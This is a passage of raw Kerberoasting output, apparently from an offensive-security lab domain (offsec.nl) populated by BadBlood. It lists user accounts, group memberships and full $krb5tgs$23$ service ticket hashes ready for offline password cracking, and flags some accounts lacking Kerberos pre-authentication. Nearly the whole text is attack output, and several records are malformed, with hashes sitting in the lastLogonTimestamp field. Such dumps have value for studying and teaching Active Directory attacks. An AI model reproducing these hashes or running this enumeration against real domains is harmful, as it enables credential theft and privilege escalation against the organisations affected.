JACKLYN_FULLER@offsec.nl distinguishedName : CN=JACKLYN_FULLER,OU=Devices,OU=ITS,OU=Tier 1,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-3445 userAccountControl : NORMAL_ACCOUNT memberOf : CN=OL-coo-distlist1,OU=Devices,OU=HRE,OU=Tier 2,DC=offsec,DC=nl CN=CH-adr-distlist1,OU=Groups,OU=GOO,OU=Tier 2,DC=offsec,DC=nl CN=GR-betyz4421-distlist1,OU=ESM,OU=People,DC=offsec,DC=nl CN=DE-170-admingroup1,OU=T2-Devices,OU=Tier 2,OU=Admin,DC=offsec,DC=nl CN=DE-romaomuer-distlist1,OU=ServiceAccounts,OU=AZR,OU=Tier 2,DC=offsec,DC=nl CN=MO-estoyfeli-distlist1,OU=Groups,OU=TST,OU=Tier 2,DC=offsec,DC=nl CN=JE-386-distlist1,OU=T0-Servers,OU=Tier 0,OU=Admin,DC=offsec,DC=nl CN=EL-zir-distlist1,OU=Test,OU=GOO,OU=Stage,DC=offsec,DC=nl CN=TR-360213848-admingroup1,OU=Staging,OU=Admin,DC=offsec,DC=nl CN=ST-campanita-admingroup1,OU=ServiceAccounts,OU=HRE,OU=Tier 1,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:08:04 AM lastLogonTimestamp : $krb5tgs$23$*JACKLYN_FULLER$offsec.nl$kafka/SECWLPT1000000*$68DC1946EBF2CB1DCC8ABFD483DFA5BC$CCC3C305E54EB34612A4F287C8A4EC58084526C08813D0295235ABA5FE8C6F14B30894830593030A29FBC67D2D7316ECE0D6E2E7449C0789C1B813CAADD0F61E826A6E7A5949CFDB6FE4CA8F4FFEEC2E826ACD55E5BC308F95E76EE75B358D018D2F4FCEE904BEBF13F92733AC9F65753248960B7A9510E882305FDBF23B3B2B02CE995647E4A5D63B0BD97D95846D7DC54B9241917EA4BBD6887E740F5124BD6D07322651FD19837F1B98D4C204A099A1EA598EECBC5A44FFE3395C2EF8376DBE32F035594901B10990ECEC62CD0B9CD4F7B49CC7708D47EF203C18109D0FC4047393B7BC8EA19A4DB3709ADE13402397BC5EA1F89165F73614293E318E81E733CCBF59995986110E927BEB7E659C52E5A0E5BD4B261952CC8545E976E123DBD25DC697189AAB57B22C4CBD42F59BD263FAA73EDB95330FEEC5A8B8896B8BBEB3D6103EA8D2D2DA1F6CCC34A71FA0F803249EE7DC08FC5D4AAB19B38C9A78464CD10F6B269D9DAE312D5BB84EAC9630F79A6D837AF88A309145937A2CDFBBC27B95B86D915EC5E9A7BAF2F20FBB2488395A6591EE9322E3617376DACEE9227B7C78E1773C755157EEC32CAC4C7A01C1280E1E4A692A5FD7A8B98453FB8B0077BD0D1FDB3F01FCE2D02FCF739EDC1E60EE5631AD1DA36089955D98F8B2118922D89F242084BA2E2D8F14A7BAFC8519690527F4068F503127DA7F9E39810D63277EE20BF20924BC1FD299634819D7C289740F6D1461F5ED9E51864B6766D1ED36815EF3A84CE3EFD831828ECE28B12A16EF7B671C0FB214E274D49E97B9E16CF87A027F36C4CF56F755FF69AA4D34382EF5680132AF356AA6FB37FFFD5EBC8F3A808AFEA17CEA60A8465BBADCBC89A3BCA1285FF5A630659E1C1D2AAB46FF5FD2E1A32E9F202D73D0E75CCBA5F6BC874F8AC42C22D3935667E4D3ECAD0BE450C6F1ED67B76DA39F0D56B89339C9AA367B8E09F14E24C70EA7DAFC7FD0D465697115B9AD41B20E2D4740F0B5A64B07405460EC64720CE4EB33EE01E60273EE7826CF4C70917AE170D58AF3BF90DF68E13AA1C727C242F4D927B4A8F4FB35D2F9A3393080F1CE50A8FC7A5D16877AD6C2A7FE674C0BADB86B4F8A2B5785A7B72F206D0172C6D028D75BE7EA196FCE56FB24F00290E0585EFFD0D88168ADA0F26375AA265E7161C66E6F21345B2D3D78AF84AD63B711CA453A0D46107B82D4CD9006049AFB6D0C3D9A86FF5B487434FAF08AAFFD9082A011852D7B530ACA21E41A48A7E74C033E2AD75D6E19DDC8A2340C32802AADF91DBBAAFEC4CFACF5CB84F7F2E960C1A4E095D6B0638184E6811B9E49037EDADFA8DEA6069A4E3AA1B469CEAFC421FB9D6D429EAE6F4C926FC207D500F13D5AB1CD0BDC84607F7FB3B2EC0CF994CDF5AF144BBCADB7D2477E9B322D953371 Searching for Kerberoastable Users - Details for User 'STEFANIE_LYNN': sAMAccountName : STEFANIE_LYNN userPrincipalName : STEFANIE_LYNN@offsec.nl distinguishedName : CN=STEFANIE_LYNN,OU=HRE,OU=Tier 2,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-2483 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : CN=LE-rio-distlist1,OU=Devices,OU=HRE,OU=Tier 1,DC=offsec,DC=nl CN=DI-BEL-distlist1,OU=Devices,OU=TST,OU=Stage,DC=offsec,DC=nl CN=AP-a12-admingroup1,OU=Stage,DC=offsec,DC=nl CN=CL-328-distlist1,OU=Devices,OU=ITS,OU=Stage,DC=offsec,DC=nl CN=JA-ros-distlist1,OU=BDE,OU=People,DC=offsec,DC=nl CN=DA-fidelrome-distlist1,OU=Test,OU=BDE,OU=Stage,DC=offsec,DC=nl CN=MA-1a2s3d4f5-distlist1,OU=GOO,OU=Stage,DC=offsec,DC=nl CN=DnsAdmins,CN=Users,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:04:21 AM lastLogonTimestamp : 2/10/2022 1:59:42 PM $krb5tgs$23$*STEFANIE_LYNN$offsec.nl$kafka/TSTWWEBS1000001*$8ED5CBC5845E0F5F13B1C111653ED7CC$91AEEFFF827C3F2B193E64C5B42AED51B14CF674B9DA8DB77BBAD55F6FD7F705F2F1F1B2E14DC067E78AE5A97DAF4E1593637B10F09FBAE534243549E061EE6D9FF5B198A2550EFEF40A0146BEBF5B6C842BAA659EEB46EBA44B0C4FAF24C58019B0B723A307F714C55DF1931F205A23CDA5ADFA43940BD324D4A19FFC73A7BE463701E580B3A6F8CCC2C7EB7CF2DEA61C5F08ADD3B21DCCFD1295D66785D32E78FB649DDB3DCB5031D1D6E3286939B0499C12684780D1FCA76CC59B9654D9DD7A6D78F102AC8C3BF5B4CC98DE3FECDF92D3A5FBF64839A190DF9FC7A76A3A0EAFC3AF118AB65A2E2F487D38838DB92219429B8E8C0A390CE7523F49BAA79FFEFFE23BB6118CD00F13EE03557A3519696BEBD5677B19B81B0A0BA2F9E8EAEB0940A6EE8E835ADCA0722937C51A70237EA231E5CBA19C0C124B5BD31437FCC597DD213E1344293291021F08F3C94EA4F7B52DA445B2CB2B45A73EF5EC9FBB24B694095A9AA7AA1858FFF390DDCB06B774474E84CDE542A9E5FCF7A125E50DBB150954C310F955B5C5AE165DB1365573550B505B485663B2148A8033B53D713E5097E11E7528A3C7BE72F9D67194B2580EFBB9279CC8B3D1EDB89F778DE102CB3EA1295B6EB1E3769B8479DB93DB5A3083DCA32F895E67B01BDE747C043D8D61E83A3DC9F0F6FEFD0FE49DA3DDC46E66C30D699C16201316B809A6F7AE84C20E43209D456A63D2465AFB5E579F45F89DBC5B76D95BC7E2A32080B1237D205FA004BED39985E59A2BEA09A4D777123E1AC4FE56BFE59388E6265225851F2FB79E32FEA08E7F1C27313297BA08B750BAD53B0F17CA6C8843D8CE51244A596AD4927C75DDE9E725FE8B5AEE4BE73D942F84301F13F3A8F2E1752059BBDBA5CAEFBD94C797AF18518EA9AA9A9E67FB60C96226F3D27EB635C1E0455F6840A0D6569B185DCE22498F8900DD81813501B564F1CBC49790FDE023CB9750B0EAFFE7EAB98B581A12F619A61AB85F07ADCE764E8E199021F94B4741F103DF30A858877B190CFF6814D4BBA8716DFCD3337A7281258F1BA565EF4C03D617EFCF8C01F39F9D2B0203478293746F3DE88D6DEF41663AD5354097B9FEF5085714B8AD96C352CB06519A7BF35332A60A7C8F501D75271FB47D2730B12607FE9A389BDF7ED787B7C84B79BBA2002525615FF0016DA7C9B3933F077C08CD6D68521E97CC04EDC739DA83C68410C748D0F4119FDBF91533F2B55B323C0481D506A3424320EFC187633961BC472AA04337DE97341DA0F89A1ADC4765127C097C46CAF1111903047DE1C45B5367AECB8943D51A9597F8FBE76C68D4A4F9485EA9FFBD1876BF51B61231C3F2AC32F71CEBE2820683E011D70565F0046DDB20D31825C99B9C4DC10895DDDA6EE1A1D2242CBBB8EC8FDAA743F796BAB69F Searching for Kerberoastable Users - Details for User 'MARLA_WHEELER': sAMAccountName : MARLA_WHEELER userPrincipalName : MARLA_WHEELER@offsec.nl distinguishedName : CN=MARLA_WHEELER,OU=ServiceAccounts,OU=AZR,OU=Tier 1,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-2409 userAccountControl : NORMAL_ACCOUNT memberOf : CN=BR-14jerusal-distlist1,OU=Devices,OU=AZR,OU=Tier 2,DC=offsec,DC=nl CN=AP-a12-admingroup1,OU=Stage,DC=offsec,DC=nl CN=BO-rat-distlist1,OU=TST,OU=Tier 2,DC=offsec,DC=nl CN=LI-loverecta-distlist1,OU=Tier 1,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:04:04 AM lastLogonTimestamp : $krb5tgs$23$*MARLA_WHEELER$offsec.nl$MSSQL/AWSWAPPS1000000*$35A77998FE65159D8AE9C0BB25A7EFBD$909C39C7ED319DA8218825B9BFF977FDDA54A9468D9610DD80AD085DD0DF829A081CF61B47A24D41E0BD146FE1ECEAAFF519FD2AE50A489FC018F6AB8F2A065861622D177FDF5F8AD2BAF6737DCE00EC87C7B338AE1127A59DA3C9F47CCC3F1BB668E5AA882214D5E4E6CE92DC0CFB8A21A44AACCBC94DBB3CB2B5442C86B8A48AFE1B469E6A9360551421A1B455AB28C886402964E3B2A3109F9BC48F5F0F66D95D0B95305843A20F5D2497687EF547B3D17A8C89EF88FA64005CB784EF1C3735CB717242DBEF347F6051D1C62ED6A73CBE5BC90953C7A8E869E320E10159A796D30D3681A52451A69900313652DC30AF93105AE65B1DDCE31ACE519F48711E3B34693B195834646F45B0828064FDA01918E91B15715580853A6000BD7E976BAAC49626A9BEAB9D24FC20B52353D3CA774AAC791EAEB110501E43608B6334042E5A70C426BCFD0EE6A166E77B8CB6008BA8CD5DEEBA8B6AB5E45B616E3AA205258CB8747799387985804D400598429CCA023CF3C9659AC6708785EAF5A5202A2CF81C45602149EEED63B29210E526BC5FF37158B1C09B31A9F0DC297A00DB6330F4134B7951FDF55CBE49AE79ADE6D9D488932136ADFFCD9EF2751BF6D1B840A1B357F086FB9D6C52D99C34E7E0A0F55414B9CCEF65E18EE403E1B1F7C9DD2387B308B645D0FAF03E89928DCF755303E6B66A9FDA212667EFD7460577FB318C907D3BD674E6F9C4EEF8E954091233D8830DC63749DD4E985B85E96A6FFA81EB283B23F38F846B73015D6878B57BBE532E5CE600CF946CD76FA6DA3D6EE17793F136E3F83A2DFD6D106C262C3D5D18782ADE6208FBF8A9ACE2AB9C1634F5D056B9B3AB0F1D73F60239C9B02590F4920018498A5BA10B35D3237602A6B7279949915217316F2DF1AC96511F6D7BCBBFA32C146A94463E66FCF8575DA5DF39CE0602F45077D061014F06B8D564039D5DACF4A05BA4E03282B4717AEF95BC44319C4798F94BF7F8142B5D7C33953DAB8421CF0651A6930F8B4B968C269004D00DCC0ACF4E43684A356A332C7FFD18DDD453EF06A926395247BDB34C227719C6043AA3B31692CC64A4C6845D2DA192DCA43A1ECD2CC618F9292F423A3C0755F187EC7EBB0A31B48DC71D1B7BF97F42FF6DEF9B2D4B0094E8CDB6A2EF8DD95B946F4EC90AE751C1BA3377E17AADCA37DEA9E6E0854062BCA36A11C14C9F018B3A96CF8FEE50F6C3F023299E4B421F3387309F4D4C73FA76D9DBD9FA91D7F1E39244B1A2DFD9452F0898716FA561ED5DA0C7901AFAE6B874E69C4A70E29B1A99D6F82742EC24C5EC3EFDA66241B90631D1F5A178BB19376ADC517808D5517069BF16A448AC943127232F83F092B2C7723A488B3E4787DF075D703B7D5C0CFA7DB6034225DC5FB970E39D6CAFCEBBDC1CC33B915CC9 Searching for Kerberoastable Users - Details for User 'GAIL_HARRIS': sAMAccountName : GAIL_HARRIS userPrincipalName : GAIL_HARRIS@offsec.nl distinguishedName : CN=GAIL_HARRIS,OU=Groups,OU=ESM,OU=Tier 1,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-1428 userAccountControl : NORMAL_ACCOUNT memberOf : CN=JO-aye-admingroup1,OU=Domain Controllers,DC=offsec,DC=nl CN=RO-YLIMAF.06-distlist1,OU=Devices,OU=FIN,OU=Stage,DC=offsec,DC=nl CN=TH-ambulance-admingroup1,OU=GOO,OU=People,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:00:17 AM lastLogonTimestamp : $krb5tgs$23$*GAIL_HARRIS$offsec.nl$MSSQL/AWSWDBAS1000000*$7C276C6663753687C7F2697208F919CF$BB403EA30024E6F36E6CA555FD4E071E3F4213238FB01C5A8A28F0F48DBF77103866E1F8271E1189D92D5B74A9681051C3E637A96676F68A3EEF8CA71C69FC644F9EBBB787E12986DE811999519E858064246917774F618A799C0A077A413DF4D4E2036BD64A58B6BC5C31B525738CEE7F101A93447D1B9B74E83A7F3E61DEA07B5177994B93A7998EFA36BD3C7F1CCEE806DF9782726C7820B8956C1D9C10B0A5B56F297D2775A05F68206E5F164E47695F5F5CAFDCEDA95F289ACC86269A5E479D88E678068DB053A99AAC5FBF1CFE90491C8371A0AD3ABA6C103A03425261DBC33FB5206E059AE6A69DF1300A4D10DD666C83AB12B929B9F61B798A29F1FC856E0815082A41A46F36C0A40C1EF259592FE67241806BB2CED4A6F7C22B44B7C90ECA1215137068D080B787626064D3A6114706E0FF1FB17E5A10E3C3AB40D522009C635978A8F454DA70DDEEC7821303E105C8E60E3245A3E5579D7E1D6EE34FC152267681760A1AE034C55D7CDD2567A7D5D2AE47FC61DE4F2D894AE26C3632EBD10A823AA356436AD3616647AA5E59055FA99CE167D097B1C28C0409744C9536275508D153F4392E1D06791384BF10742B07DC3B781E7B2972F9C3F817F92213D373DC29F8C3A123CE226C1C6F12EE515467E70C939C72B7DD91D69A6C74E1F2F3C822165DC13173BBA387F90E3346CD04211DC7AF41FF5C3261EA22DCA5A462F928C14E0B9E9F0C1DF88DBFA1C691411C0AB615AD2AC820A39968CF740EB08722663C14D0FC17FEFC88D88479283B284248D53F77050586453D5999E51737FB4A0AAE8A02F9D1D7AE5036869000C3799AA529404DD622CFC69E30F9210773E96056E490CE12AA4767734885161D5B3043E52EE0B68EBD91A02FC40E619A9478B0379EA5B376A8CBFA48D81BA7F96B647E78DF3E055F816BF88728A64848954793BADB1AE08529C3CE8E31B38DF48626B9E14EDBBD5E5EFA2B6E7F65C6A530487F9D6E14F6D37ED74AD3397E34F4D1F8FA830DDA137D7D9BF601B9C833FDA38ABAA07CC6CABB7E542AC9D45BB63242727C914F59F89555BC0B8696034F9527646F284F44E36379E1E4F8263B40AA8C8D3E7866D5B5EFA715579EBB9FD3A433410C1AC3B6493009797C3592794E0A0BB983E7C3A792E8FC7A88170F06B3F69CF07F060A585B428F63B402BF804C135E538FEC2A6614DF786839D9CF666518C6091F16389CF5B42114B08D5B251A3820E3E4C10D9F6704F6E74B5458B4C93759D3E35D79158E1F173944873AEC3C9618EB21393DAD03DBA5AE9AE9459B7326A39052880C9DFAF014BD759DADD251288835ECDAC3457437925B7CDCF296E660B2FF6575EEB03481F8AEA31666D50C61D0BECE2CE99252223A81EF4B424D6955C2AFFB9E8A0FDF597638D0E51A1F86115B1E Searching for Kerberoastable Users - Details for User 'FERN_TUCKER': sAMAccountName : FERN_TUCKER userPrincipalName : FERN_TUCKER@offsec.nl distinguishedName : CN=FERN_TUCKER,OU=Devices,OU=SEC,OU=Stage,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-2867 userAccountControl : NORMAL_ACCOUNT memberOf : CN=KE-ive-distlist1,OU=Devices,OU=ITS,OU=Tier 2,DC=offsec,DC=nl CN=OM-per-distlist1,OU=Test,OU=FSR,OU=Tier 1,DC=offsec,DC=nl CN=BR-555149025-distlist1,OU=Groups,OU=ESM,OU=Stage,DC=offsec,DC=nl CN=PH-arribalap-distlist1,OU=Devices,OU=FSR,OU=Tier 2,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:05:50 AM lastLogonTimestamp : $krb5tgs$23$*FERN_TUCKER$offsec.nl$MSSQL/AZRWLPT1000000*$7DEC7B29B86F5A96ACA5F9C8F176A78B$205F40FCE667027C0CF20A8349B53864BDF7ED93AECFA37799B7299E1EB7F35AACCCE94EB9642498BCE98EEF445EF302373A413698A4746ABE6C98AA48E21881A4F7F5085D1EF14D7CA5900A369196CC9E0D239ACCB87D689070797F8A521F7392DC1E77380EA675CD28C788C1FD9D2E4DC105CCE3997432B559E123A2199BFB3771493621020E147F6B98EF679B5225A440F7451177CF1AA44CBEC644C1C61DC8CEB027EC251C06CB12F459E7E1B0C203FA88B31C8DD4501623F86A58DF431B0EEC9DF24A2597AF6EE626E18D1D73BE462C96BE78609B8307ADB620BB33F1565CB505CA27EB3E76CD5B51356C384F4EDDC6A1C9E029DF6C875534FAAAA5BB644A36C4AC94F27F19D275FC88C0CE9CCB601824275B5E31A1EE2BD0225BB9391BAC0493E188D0584A3DCE3B2665CB27048A6C860FBC71FFE729F08621BF93FEF00A9F4926027DDFC2B3238A383E11FE2BE927687023C694433BD047E25CAA27F85A44FFD3AF8915E89D17F0B26C80D9E9837D0661E92B5C9B9A19F7CCB6CFE7ADA5B4F61B560D9DA3E28008E5F4B74D2FC08467203749E1329B27F664AFB0FD92787EFE0153E1E1BE39F4CB7DB781027E6AE9157907BA1C714CCC52CACBA1EF8962D38AB619B9D560834556F955D5DE6C87A257EEC3903AEE674BF6D0367A0FCC3EE6815D871FB9E899D938169B15E34F28C27BDC2805712927A28F60BE47402246A8EB00B6B85251A56C70CC9B348CE678232C09701C54D5B4A16268EE226FFAF74615AE2D1CF7863453CAFABB72D96A8DA57379D38BE05DAABE4334A5859203D9C5C341759E40596A6EDC193D0519A66D30F68C7D5C7A46463548168BB593C1505820B21BD6E9C813FED84ACF0CA0620B24657DFDDF09CA3D6267799010C6E33743BD5B04B92BF66FBD990D9027DC0939D1B16F53C26DB8B267F84F4F9E3C40B640D35D9386F501680D0F30E825570B78B311E8CE657063C15B0A9C5DF71C18858B94C728C0260AABCEA1239789D5EE89CE3ED7DCC7E5A21004071456CD93030CEF2DFD21715249EC1D5F1CB9F43AB4F1C0448275960F7BDB0181ECDB5E50DD0F3AE82AE7D9EF9A31F02DB79F775560F25567ED22FE7AABAD84092C1AC2AF2DDF8DA369F5F05BC49B2ACE6EC8CE5CD2A7313DADD820BCA9C2358A7EC9CEE879A473FF49DB329DA0B21BDB67E0046826956E23095BB5D401E000C7CC828EA3CD8E401BA04855872DCE4D0BC4728C9100BF66FDA4FF86BCA8A35D2DA600D31DAA2319EE2DF14386BEBA496F7CDB8024BBA3D36F805D47AC119E17E83BB593D6B7DAA572F004414792D1C8022A3DBFCBD3B1F21ACDF5930A0F212454AF0937E786F5FC46A6A347BE73F80733874DCAE24847D07FC5DFA16E490120DA28AB1B2AB92098AD7774F9097CA1AA65CA48504BD6AE28 Searching for Kerberoastable Users - Details for User 'ISIAH_STANTON': sAMAccountName : ISIAH_STANTON userPrincipalName : ISIAH_STANTON@offsec.nl distinguishedName : CN=ISIAH_STANTON,OU=Groups,OU=GOO,OU=Tier 1,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-2707 userAccountControl : NORMAL_ACCOUNT memberOf : CN=PA-223-distlist1,OU=Test,OU=AWS,OU=Tier 2,DC=offsec,DC=nl CN=FA-tlp-distlist1,OU=Devices,OU=AZR,OU=Tier 2,DC=offsec,DC=nl CN=ST-mel-admingroup1,OU=Groups,OU=ITS,OU=Stage,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:05:13 AM lastLogonTimestamp : $krb5tgs$23$*ISIAH_STANTON$offsec.nl$MSSQL/AZRWWEBS1000000*$18069153599071EAB26659FF6A2F6897$D1AC445E8A1AFC555FA188F4F3F458A12A8E77B09168024E04821B3DFD8DBDAB1991262756A6A3208D245E04A05D45F5E17B72D0E485E13B6B4608884B9E5E4110362E5B7D0A8764DC1A7978AD837497551E5FD28814B89B29C71289636AB5E78E83510686BC154CE57396BA7360C53BDA28E9E23607C0F55297CB04EEFD74CB9F0882903D60AC43B79E1D9968A47541791A98688D0B793F32DC8EF53D9D66EB2FF8D6DCAC6628BB4F39BB43E4DD09E545EC6839C0BE54D015DD214A22BA841EB71DD797D6C074E675647EF55DA5503C62455AA0578FB3765242BD76645F15DF6AEA7CE9A5B3E2DBF491116C8FE72EF55F90FFCD146FD2DEF072706E24BBB2DE09CDBC4789857C670828AA047B8670AE3953333E2EB1FE669D08F595CF2567E8B47256B6D632E5E4D715F9188A1ED932836ACC205F3B37C8E507CA5A15A97BA017C88BC3A6C003F76265BF3F3333BC25D8DB77829AA0AC7D5231955C6D7724D41122BEDEA74D5B1420F8B54DC3C033E2B9D50024E512C28441B064028BB8FB5A3477C788DE97E4EDE4E50DFE4B4F3C637EB9816CF6F3A7E37048D4365C4FCC7DDA4048D96CD0A542377E453CB966B7F4375D5B8392B27AB9FEB12608BF8C71E07995611430188B0FD248A7D8575F9162400E12B1BD80992CFEF287A470BAF5C04AEEE880A3CF714F2F3A73FC10E6AD7F30047A446ACFB4B32BEB86F36EFCA302DAEA1862FC97BD50C54786D772A581746632D0D6005B113EB21BB2F9DF1C18A4F2E59DE5115DFFA4A38133F11A14250089A706D9879D47F3DE8CC6DEB14E10FCC2C0E6EEA72F53F4D725DEE5EF4CA634185E077DEF0B93CFF52F6F72D7978F5CB2E49CE94E2F8025905CABD4DAAF3BBCC728EA728E329C8CF2A8A60B54DCF8F4191FA9F96DA19973B61E748ED35C14AFFD3B158CF4E4AA514704075758E348509A4AC5BE482F4E4D2B73DA0A11BF5BB2DB357C32B47DD84CBCE69489B17138C184C15BB4B2F40255DCB610EAEB4E77280C560D68B4B271881C35659D67CCCEFD2BD8FB11E8912BDF8563473DE14E74A750F8A6318437BBF1552CF21EEE1732843B26DF39159FDD5689D23D1F8C786ABEC59C872E4C11881423752764208F98B953792C29E42783B0BDD4E086A12E1E097D3775B0D6C0EBFC116401E5CE066FFF6458BBABA86C60602D3430EE00FC7A93916216D7C80A50C0A15C13C2675DA8B0EF97E61ED63D05CB40D68B707F3DAC5E3614E22C1290271833E4BCFB46231B9D1B07301B5AE3AAB9F8C48CAEDC4EE82DC98C132A00E3ECD8751D439884D9446B0A2A9D15035E2CC92B8CE1EB867C8A27DCBB54A685CB96B138A05BE58B115FE7440A71A7633AEA82472F5C4212E4E80DFACCE98535A232C5E5288BBBAB7D1452FA4486837FC1D8E6164E78401EB027193160 Searching for Kerberoastable Users - Details for User 'KAY_MUELLER': sAMAccountName : KAY_MUELLER userPrincipalName : KAY_MUELLER@offsec.nl distinguishedName : CN=KAY_MUELLER,OU=ServiceAccounts,OU=AZR,OU=Stage,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-1636 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : CN=DE-satanicbl-distlist1,OU=Devices,OU=AWS,OU=Stage,DC=offsec,DC=nl CN=KA-126-admingroup1,OU=Groups,OU=AWS,OU=Tier 2,DC=offsec,DC=nl CN=MA-monkeylic-distlist1,OU=Test,OU=OGC,OU=Tier 1,DC=offsec,DC=nl CN=DI-BEL-distlist1,OU=Devices,OU=TST,OU=Stage,DC=offsec,DC=nl CN=AM-seguimosa-admingroup1,OU=T0-Permissions,OU=Tier 0,OU=Admin,DC=offsec,DC=nl CN=MA-joseteamo-distlist1,OU=Groups,OU=BDE,OU=Tier 2,DC=offsec,DC=nl CN=RU-ele-distlist1,OU=ITS,OU=Tier 2,DC=offsec,DC=nl CN=MI-sol-distlist1,OU=ServiceAccounts,OU=AWS,OU=Stage,DC=offsec,DC=nl CN=SA-per-distlist1,OU=Groups,OU=FSR,OU=Tier 1,DC=offsec,DC=nl CN=RO-260-distlist1,OU=ITS,OU=People,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:01:06 AM lastLogonTimestamp : 2/10/2022 1:59:34 PM $krb5tgs$23$*KAY_MUELLER$offsec.nl$MSSQL/FSRWDBAS1000000*$22D9268BD8EB9F6AECE20366CC4A785F$D9929EFC08FB392198CB0FB6644C326D25F0D27EF3F1B2B08A28EC2517A0C00237F9D2BA5E2C0258166DB966049B219A01A981E10D300450CC7C295AB4A8DF097C3E447BA9ED1B6582EA048B974E5F0B9D27F326068EE5554224CCD83222B72AC64E97FC5ED422957D36CB083F043D5938058B636E7EB51ABE27E89F4205D2527CAD1B374CAC77F273F14941255C715CCEC8460ED4A33A9E31D6DE09CD582D00A7168E9631DDB9C19644760830447DF595DF3A19D733B4FE98A6411F68BD4D408C57CA49962DD737535495147A3B22B9197634904F51A0956974A1930ED866EECEFEDDABA00114744B7257378AD04302B574513E8C5A973519A1AD138F80B437BDBAC18EC272CAC54D7957A44192F6E8D2D65CD8B1F084E4194BC5CC067C7E81275C242736120F144F24D9CC28E020C26CBCB9F752843C0778DDA2CED67294EA08AB5C0A18C53AD1F0396B8C8DC48CAD332445A6B690A52DAC728F7B2B2983E1269FF0CC945A774843BF0708E0071FA83E40CB0AB486699349729357D4E10343B822875E2A0228BB09A1DAA3B4576C754CF59373CC71704AB4F66FC4B9CFE88E700A9A17B10B6B9A77E5B12EE65C5C8901B59ED7A8D6C5EE015FA0016DC8E0FC08EFFC913C6F4E561DFACB093EBB5C6B7B6C8879AD400DC713A7CF690151187C4D2D66E4D65803E9BA35F9C0627CE650D3325DF4376BC4D9BB0FCAB391730E6E475F215F64AFE39745FC5324C3BE0A7C8AA62F1435F70388113B62A1391EB923E66F2EB756C938511F7F1597ED79DC1E44C820E247A9BED343E9D9B994FF1F828AAA2BA6A2CA3762E8799A0FB220BEA06CD70A3C0599AC2E60FAA8E82C153994A65D29D8E60B3035DE43ABABA39D628A6AE71D9A06D077C324546CCC744366B504CBDC23DE3A5C8D636F51E061A134663AE8101A38538C0A1C751F24AC0D0FB2FAA00A4F1992220B991E28A908FD3508EEEC3BA72F3EFF5BBB7A029783E3147D81E78627CE1D948434FFA0E2346A79D0AC11D639AFAA9C532294312EC3669B4F8E6EB221C26D354E0CE04610FCDAB9EE70B5BF04CBB929EFC8F25EBB8633C6BDF819E080787329615E5A7452C37DF59C820B3B2D6C59ED64DB917DF473354BC6D5DBE830535A7910D233DAFF5A7A7DA22F58086DCE1E5C5492A1993B0A642C32D001DF1053C47FD23547A36977E419E74D438C0F183403AC7D6BEAF417F8EA0477E15037CFA15BD4EDE9B2C39AD05B268C8F8E3BAED4636FF8B9372524F695BCA90BD9FD961A9AD368AB78F00E049419520B6C874359AC6B86BCFE01D1CD672CBDE5ED4B7B01CB93795BC19545CB86F6D47D5E8BAF4B9C8102DDCC85B17DC74891310AAA2D1DC1D9760D072DF8252AE6254087EFB4119E48072BF9C0F26AC05AB4B7A1B65D24D6EE4B6CE8FE391468806057 Searching for Kerberoastable Users - Details for User 'DOUG_GREEN': sAMAccountName : DOUG_GREEN userPrincipalName : DOUG_GREEN@offsec.nl distinguishedName : CN=DOUG_GREEN,OU=HRE,OU=Stage,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-2007 userAccountControl : NORMAL_ACCOUNT memberOf : pwdLastSet : 2/5/2022 10:02:31 AM lastLogonTimestamp : $krb5tgs$23$*DOUG_GREEN$offsec.nl$MSSQL/FSRWWKS1000000*$AF5E26EE5835491A419E89A663C644CD$4D88E3B20EA3F267DAA16A6753237D93AAE7095D0CD06E552FB5F7DFDB0624241C3967059E632EDB2EC53C9C9487E9485061554AA5670649E2703A229A65928DB4230D97BC391700798A8BDA9FD6739ED8CFB2348DA4B995318DC3464DC94DF3DB0E2C98B4CAA9ACFF6B71A629F72DDF0DA5436B8486CF86AA8DA485022DCB34ADE792F7E974A2ED865FFABD663C44484B0DBC0E127A08C3F7BC4F2783AB4583AB97525D58F1770EDD4F16F9A8D77BC517D36D3C26E95C31D3ADB36C10B5BAD16B4FDFF217D1D280F0FBD6657979FFAA632DF77EDDCF41FCECECF8EDA0B2C13F568F3304AB27C4AEDA9404C0603F97E05798C47692F40790D151F3DC3B5DB94B2B55D2D2373CBDD882800D0DEB1E788A9A7B250C53C77D5BFEC1F4E13BD15DA52DD404710E1C8E4A7B64D8080F3566A75334035628084463814A1CC3885207616C1EB335B07AC64FB5CBAD9C9F03E117E6B8FCE8ACFEC96B296C7157E5CF0042DBD7B05AB1FBF74848D5488FFB768AF0C4CE222435A9A6BC0BFD1F56714E63A2445972B431D7BAC4D04105F556A95BB3092EDE1710503D06F73916982F46F827267460BB3A499ED77A5DFBC1A8B3568D39DFEB622D71910FBD48BBB196352CF7627E35A8181164C5A25B6576AF8876B23F38A1A075C18104F988C0DB1787FA8F06757F5A9A2CE9323A86A5B18193EB3D0F657A73B2CDF666887EE6B788C8170B39F4D59F78E760621D4A2074E5583A84210DC0D24656D68D319A2A36C5659AD8402DD923A25EF256E2E75226622A86EEFB0CBB66F9A40B160CC678699ABBCC6A8E9DF1F26C69C1C250ACE65AC504EF297C06CFB8FFE2DE2A175B143E65AEED3B4AC8B9643DCAFF87B30A52C664B4131560902E99DF76760B046D5B605A2491980DDD0671B6F941928A91A3AEC4CE178CB27D650977ED0C05169A040924203BDD